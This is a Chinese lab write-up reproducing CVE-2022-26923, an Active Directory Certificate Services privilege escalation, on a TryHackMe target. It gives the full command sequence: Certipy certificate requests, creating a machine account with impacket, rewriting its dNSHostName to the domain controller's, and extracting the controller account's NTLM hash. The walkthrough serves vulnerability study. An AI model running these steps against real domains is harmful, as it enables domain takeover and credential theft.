CVE-2022-26923 AD CS域提权漏洞复现

文章目录


提示:以下是本篇文章正文内容,知识仅供学习漏洞知识

一、漏洞概述

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

二、复现

1.环境及工具

靶场环境:

复现过程中使用到的环境是 tryhackme.com 网站的靶场

靶场链接地址:https://tryhackme.com/room/cve202226923

靶场提供信息:

复制代码
#域名
Domain: lunar.eruca.com
#域内普通用户
Username: thm
#域内普通用户密码
Password: Password1@

攻击环境:kali

使用到的工具:

Certipy4.0 地址(https://github.com/ly4k/Certipy)

impacket 工具包

2.复现过程

连接上靶场的vpn信息后,对攻击机hosts文件进行配置

由于攻击机不在域内环境,需要对攻击机kali hosts文件进行修改指向域。

修改格式为每列空格分离

复制代码
域控ip	 域dc名.域名	域dc名	CA		域名
10.10.6.76 lundc.lunar.eruca.com lundc lunar-LUNDC-CA lunar.eruca.com

使用普通域用户生成证书

复制代码
certipy req  -username thm@lunar.eruca.com -password Password1@ -ca LUNAR-LUNDC-CA -template User

在使用vpn或者流量代理的情况,很容易出现网络方面的超时等问题,需要多试几次。

拿到了证书

拿到了证书后,可以通过证书进行验证可以得到该用户的ntlm,该漏洞可以通过申请到域控机器账户的证书,而得到域控机器账户的ntlm进行利用。

复制代码
certipy auth -pfx thm.pfx

接下来需要使用普通的域用户创建域机器账户,创建的方法有太多种了,这里直接使用kali的impacket-addcomputer进行创建

复制代码
impacket-addcomputer 'lunar.eruca.com/thm:Password1@' -method LDAPS -computer-name 'THMPC1' -computer-pass 'Password1@'

然后修改机器用户的DnsHostName属性,修改机器用户的DnsHostName属性值方法也有很多种,这里使用powershell中的方法。执行过程中可能会出现失败的情况

使用靶场提供的账号密码通过ssh连接上靶机,启用powershell

复制代码
ssh thm@lunar.eruca.com

查看THMPC1机器用户的DnsHostName属性

复制代码
Get-ADComputer THMPC1 -properties dnshostname,serviceprincipalname

可以查看到DnsHostName属性值为当前自己

要先移除清空机器用户的spn属性才可以修改dns属性,不然会报错

复制代码
移除SPN(serviceprincipalname)属性
Set-ADComputer THMPC1 -ServicePrincipalName @{}
 
修改机器用户的dns 为域控
Set-ADComputer THMPC1 -DnsHostName LUNDC.lunar.eruca.com

修改完DnsHostName属性值后再次查看,DnsHostName属性值已经是LUNDC.lunar.eruca.com

这时候使用该机器账户生成证书:

复制代码
certipy req -username 'THMPC1$@lunar.eruca.com' -password 'Password1@' -ca LUNAR-LUNDC-CA -template Machine -debug

生成了域控dc的证书

再使用证书进行验证获取ntlm

复制代码
certipy auth -pfx lundc.pfx

到此拿到了域控机器账户的ntlm,接下来就可以使用域控机器账户的ntlm做其他的操作了。

关于CA服务器的问题

获取证书错误:0x80092013 错误:吊销服务器处于脱机状态。

解决方法:

1.在ca 服务器上执行

certutil.exe -setreg CA\LogLevel 2

2.重启ca服务器

在域内怎么查看CA服务器:

复制代码
certutil -dump -v 查看CA服务器
certutil -config - -ping
相关推荐
bluechips·zhao40 分钟前
中间件及框架漏洞详解(Nginx、Apache、Tomcat、Redis、Zookeeper、RabbitMQ、Kafka等)
nginx·web安全·网络安全·中间件·apache·网络攻击模型·java-rabbitmq
Bruce_Liuxiaowei1 小时前
Python 跨平台 Nmap 自动化扫描工具:从手动到一键批量扫描
开发语言·python·网络安全·自动化
小阿宁的猫猫2 小时前
文件上传和解析漏洞的原理、条件、比赛时的各种绕过方法
web安全·网络安全·web
Whoami!2 小时前
❾⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 防病毒软件概述(下)
网络安全·信息安全·防病毒软件
unable code2 小时前
攻防世界-Misc-2-1
网络安全·ctf·misc
weixin_307779132 小时前
基于AWS Shield Advanced的自我管理DNS服务DDoS防护方案
网络安全·云计算·aws
Neolnfra18 小时前
渗透测试标准化流程
开发语言·安全·web安全·http·网络安全·https·系统安全
.昕..19 小时前
2025CTF逆向工程“新范式”:当Jadx装上AI大脑,逆向效率提升
网络安全
云计算练习生20 小时前
渗透测试行业术语扫盲(第十六篇)—— 红蓝对抗与演练类
网络·安全·网络安全·信息安全·渗透测试术语
小阿宁的猫猫21 小时前
sqlmap的使用
sql·网络安全·php